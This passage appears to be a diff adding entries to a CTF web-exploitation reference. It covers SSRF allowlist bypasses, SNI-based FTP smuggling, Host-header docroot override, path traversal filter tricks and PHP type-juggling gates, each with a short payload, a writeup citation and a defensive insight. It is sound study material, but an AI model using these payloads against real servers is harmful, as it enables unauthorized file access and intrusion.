+ curl_easy_getinfo(curl, CURLINFO_REDIRECT_URL, &redirect_url);
465
+ curl_easy_setopt(curl, CURLOPT_URL, redirect_url); // NO VALIDATION
466
+ curl_easy_perform(curl);
467
+ ```
468
+
469
+ ### Unescaped-Dot Regex Allowlist Bypass (Meepwn CTF Quals 2018)
470
+
471
+ **Pattern:** SSRF target allowlist is enforced with a regex like `/^https?:\/\/meepwntube\.0x1337\.space$/`. The author forgot to escape the dots, so `.` matches any character. Register a domain whose literal name contains the right characters (`meepwntubex0x1337.space`) and point its A record at `127.0.0.1`.
472
+
473
+ **Exploit:**
474
+ ```bash
475
+ # Register meepwntubex0x1337.space, set A record → 127.0.0.1
476
+ curl "https://target/fetch?url=http://meepwntubex0x1337.space/internal"
477
+ # Regex: /meepwntube.0x1337.space$/ matches (each '.' matched as '.' OR 'x')
478
+ # DNS resolves to 127.0.0.1 → SSRF to internal services
479
+ ```
480
+
481
+ **Key insight:** Always escape `.` in URL allowlist regexes (`\.`) and anchor both ends (`^...$`). Unescaped dots turn a whitelist into a wildcard-prefix/suffix match — any attacker-controlled domain that fits the skeleton passes. Combine with a DNS record pointing to the loopback/internal range for direct SSRF.
482
+
483
+ **References:** Meepwn CTF Quals 2018 — writeup 10441
484
+
485
+ ### SNI-Based FTP Protocol Smuggling via HTTPS (PlaidCTF 2018)
486
+
487
+ **Pattern (idIoT: Camera):** A custom FTP server exposes an `IP` command used by the passive mode handshake. The only attacker primitive is a browser fetch (XSS). Browsers refuse to send custom FTP commands, but they do open HTTPS connections — and the TLS ClientHello contains the Server Name Indication (SNI) as plaintext. The FTP server ignores unknown commands and treats both `\n` and `\x00` as command terminators, so a carefully chosen hostname leaks FTP commands into its parser.
488
+
489
+ **Exploit:**
490
+ ```text
491
+ # Victim SNI hostname encodes the FTP command. The SNI length field
492
+ # (2 bytes: 0x00 0x69) becomes 'i\n' when the first byte lines up with ASCII 'i'.
493
+ # Subsequent payload bytes carry 'IP 240.1.2.3\n' terminators.
494
+
495
+ https://ip8.8.8.8.aaaaaa...aaa.127.0.0.1.xip.io:1212/
496
+ ```
497
+ 1. Host `ip8.8.8.8....xip.io` resolves to the FTP server port.
498
+ 2. The browser sends a TLS ClientHello whose SNI bytes embed `IP 240.1.2.3\n`.
499
+ 3. The FTP server's line parser sees the SNI bytes as a new `IP` command, reassigning the passive-mode destination to the attacker.
500
+ 4. Subsequent `PASV` responses point the victim client at the attacker's IP, leaking the uploaded image.
501
+
502
+ **Key insight:** Any plaintext framing inside an otherwise-encrypted protocol (SNI, HTTP Host header, ALPN) is a smuggling surface for servers that parse raw bytes. When victim browsers refuse to speak the target protocol directly, pick a protocol whose handshake echoes attacker-controlled bytes and tune the hostname so those bytes happen to form valid commands in the target parser.
503
+
504
+ **References:** PlaidCTF 2018 — writeup 10018
505
+
506
+ ### Apache mod_vhost_alias Docroot Override via Host Header (RCTF 2018)
507
+
508
+ **Pattern:** The server uses Apache's `mod_vhost_alias` with a wildcard document root such as `VirtualDocumentRoot /var/www/%0/`, so the directory served is derived at request time from the `Host` header. A PHP sandbox confines execution to `/var/www/sandbox/<token>/`, but because the docroot itself is taken from the header, setting `Host: ../../var/www/` (or any neighboring vhost) points the runtime outside the sandbox before PHP ever looks at the `open_basedir`.
509
+
510
+ **Exploit:**
511
+ ```http
512
+ GET /shell.php HTTP/1.1
513
+ Host: ../admin
514
+ ```
515
+ Apache resolves the docroot to `/var/www/admin`, so the request lands in a directory that was never intended to serve attacker code, bypassing the sandbox entirely.
516
+
517
+ **Key insight:** When a multi-tenant Apache config computes the docroot from user-controlled inputs (`Host`, `X-Forwarded-Host`, cookies), every directory-based isolation mechanism downstream (PHP `open_basedir`, chroot helpers) depends on the inputs being sanitized *before* docroot resolution. Either pin the docroot via `ServerName`/`ServerAlias` or reject Host values containing `..`, `/`, or NULs at the Apache layer.
518
+
519
+ **References:** RCTF 2018 — writeup 10150
520
+
521
+ ## Recursive-Replace Traversal `....//` (35C3 2018)
522
+
523
+ **Pattern:** Filter strips `../` with a single `str_replace('../', '', $path)` pass. The payload `....//` contains `../` exactly once in the middle — after removal, the surrounding characters collapse into `../`.
524
+
525
+ ```text
526
+ Accept-Language: ....//....//....//....//flag
527
+ → ../ ../ ../ ../flag
528
+ ```
529
+
530
+ **Key insight:** Non-recursive filters that remove substrings once leave their residue interleaved in a way that re-forms the target. `....//` is for `../`; `....\\\\` is for `..\`. Use until the filter iterates to a fixed point.
531
+
532
+ **References:** 35C3 CTF 2018 — flags, writeup 12831
533
+
534
+ ---
535
+
536
+ ## PHP (int) Cast Leading-Number Traversal (35C3 2018)
537
+
538
+ **Pattern:** Validation casts the parameter to `(int)` and compares against a blacklist, but the raw string is later concatenated into a filesystem path. `(int) "-4133353959107185265/../../admin"` returns `-4133353959107185265`, so the numeric check passes while the raw value carries a path traversal.
539
+
540
+ ```text
541
+ id=-4133353959107185265/../../admin
542
+ ```
543
+
544
+ **Key insight:** Any validator that *casts* instead of *parses* only sees the leading numeric prefix. Always compare the original input against a strict regex (`^-?\d+$`) when the same string is reused downstream.
545
+
546
+ **References:** 35C3 CTF 2018 — Not(e) accessible, writeup 12879
547
+
548
+ ---
549
+
550
+ ## strpos Substring-Match Blacklist Bypass (TUCTF 2018)
551
+
552
+ **Pattern:** PHP blocks LFI targets with `if (strpos($file, '/etc/passwd') == true) die();`. `strpos` returns the *position* of the substring (or `false`), so the filter only blocks paths that contain the literal string. Any traversal that ends in a different file passes the check.
553
+
554
+ ```php
555
+ # Bypass: file=../../TheEgg.html — strpos returns false, include proceeds
556
+ ```
557
+
558
+ Also: `strpos(...) == true` (loose comparison) is true for any non-zero offset; the subtle version of this bug blocks substring matches at offset `>=1` but allows substring matches at offset `0`.
559
+
560
+ **Key insight:** `strpos()`, `str_contains()`, and `preg_match()` are identification checks, not validation. For filename/path safety, resolve the full path with `realpath()` and compare against an allowlisted root.
561
+
562
+ **References:** TUCTF 2018 — Easter Egg: Crystal Gate, writeup 12380
563
+
564
+ ---
565
+
566
+ ## User-Agent-Gated robots.txt (TAMUctf 2019)
567
+
568
+ **Pattern:** `/robots.txt` serves different bodies depending on the `User-Agent`. Humans (default UAs) see a decoy file; crawler UAs such as `Googlebot/2.1` see the real `Disallow:` list — which is where the challenge hides paths.
569
+
570
+ ```bash
571
+ # Decoy
572
+ curl -s http://target/robots.txt
573
+ # "WHAT IS UP, MY FELLOW HUMAN! ..."
574
+
575
+ # Real file
576
+ curl -s -A 'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)' \
577
+ http://target/robots.txt
578
+ # User-agent: Googlebot
579
+ # Disallow: /super-secret-admin-panel/
580
+ # Disallow: /flag-is-here.txt
581
+ ```
582
+
583
+ Always rotate through common crawler UAs when recon reveals a themed robots.txt decoy:
584
+
585
+ ```bash
586
+ for UA in \
587
+ 'Googlebot/2.1' \
588
+ 'Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)' \
589
+ 'Mozilla/5.0 (compatible; YandexBot/3.0)' \
590
+ 'facebookexternalhit/1.1' \
591
+ 'Slackbot-LinkExpanding 1.0' \
592
+ 'Twitterbot/1.0'; do
593
+ echo "=== $UA ==="
594
+ curl -s -A "$UA" http://target/robots.txt
595
+ done
596
+ ```
597
+
598
+ **Key insight:** Bot-specific content negotiation on `robots.txt` (and `sitemap.xml`, `/.well-known/*`, home pages) can disclose paths normally hidden from human browsers. Always test with `User-Agent: Googlebot/2.1` and the other major crawler signatures — the same bypass also works on paywalls that allow bots to index content and on WAFs that allowlist crawlers by UA alone.
599
+
600
+ **References:** TAMUctf 2019 — Robots Rule, writeup 13707
601
+
602
+ ---
603
+
604
+ ## PHP log()/INF Math Equality + Recursive urldecode() (Pragyan CTF 2019)
605
+
606
+ **Pattern 1 — INF == INF:** PHP's `log()`/`log10()` of a huge float returns `INF`, and `INF == INF` is true. A gate like
607
+ ```php
608
+ $a = hash('sha256', $a); // 64 hex chars, e.g. "a..." -> string
609
+ $a = (log10($a ** 0.5)) ** 2; // "a..." ** 0.5 -> INF, log10(INF) -> INF, **2 -> INF
610
+ if ($c > 0 && $d > 0 && $d > $c && $a == $c*$c + $d*$d) { /* pass */ }
611
+ ```
612
+ passes whenever `$c*$c + $d*$d` is also INF. `7e1000` (over `DBL_MAX`) is `INF` in PHP, so `val3=1&val4=7E1000` satisfies the `$d > $c` ordering with both sides INF.
613
+
614
+ **Pattern 2 — Recursive urldecode loop:** A loop requires `$b != urldecode($b)` ten times and the final value to equal `"WoAHh!"`. `%25` decodes to `%`, so each pass peels one layer: encode the first character nine times.
615
+ ```
616
+ WoAHh! -> %57oAHh! -> %2557oAHh! -> ... (10 layers) -> %2525252525252525252557oAHh!
617
+ ```
618
+
619
+ ```bash
620
+ curl 'http://target/?val1=a&val2=1&val3=1&val4=7E1000&val5=a&val6=%2525252525252525252557oAHh!'
621
+ ```
622
+
623
+ **Key insight:** PHP float comparison accepts `INF == INF`; any math-style equality check becomes trivial if you can push both sides past `DBL_MAX`. Hashes stringified into floats collapse to 0 or INF, so `sha256(x) ** 0.5` and `log*()` are classic "juggling" primitives. For recursive decoder loops, the fixed point of repeated urldecode is "no `%` left"; encode one character N times with `%25` padding to force exactly N passes.
624
+
625
+ **References:** Pragyan CTF 2019 — Mandatory PHP, writeup 13837
626
+
627
+ ---
628
+
629
+ See [server-side-2.md](server-side-2.md) for XXE, XML injection, command injection, GraphQL, and the remaining PHP-specific tricks (variable variables, uniqid, sequential regex bypass).